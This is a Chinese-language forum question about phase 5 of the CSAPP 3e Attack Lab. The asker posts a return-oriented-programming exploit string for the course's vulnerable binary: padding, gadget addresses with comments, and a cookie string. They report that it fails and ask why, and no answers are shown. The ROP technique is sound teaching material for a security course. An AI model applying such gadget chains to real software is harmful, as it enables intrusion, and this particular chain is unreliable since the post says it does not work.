CSAPP 3e攻击实验室阶段5

时间:2019-04-28 04:51:23

标签: assembly x86-64 reverse-engineering buffer-overflow exploit

这是攻击实验室的第5阶段。由于地址随机化和不可执行的堆栈,我们应该使用面向返回的编程(ROP)将给定cookie值的字符串指针作为参数传递给名为touch3的函数。我无法更好地描述这个问题,因为到目前为止,我仅能理解所有问题,完整说明在此PDF页面10上: Attack Lab

这是我的答案,但是由于它不起作用,所以我不确定它有什么问题。 here is my objdump

00 00 00 00 00 00 00 00 /* buffer */
00 00 00 00 00 00 00 00 /* buffer */
00 00 00 00 00 00 00 00 /* buffer */
D6 1a 40 00 00 00 00 00 /* mov %rsp,%rax == 48 89 e0 */
2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7 */
3D 1a 40 00 00 00 00 00 /* pop rax       == 58    */
48 00 00 00 00 00 00 00 /* offset */
e4 1a 40 00 00 00 00 00 /* mov %eax,%edx == 89 c2 */
0B 1a 40 00 00 00 00 00 /* mov %edx,%ecx == 89 d1 */
FE 1a 40 00 00 00 00 00 /* mov %ecx,%esi == 89 ce */
5a 1a 40 00 00 00 00 00 /* lea add_xy */
2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7  */
80 19 40 00 00 00 00 00 /* touch 3 address */
34 32 33 32 32 33 37 33 /* cookie as string */

我遇到的一个问题是,基于某些寄存器的movq指令的编码,我在代码场中发现了多个功能,我很困惑,哪个是那个功能。

我的逻辑正确吗?有什么错误吗?为什么它不起作用?

谢谢

0 个答案:

没有答案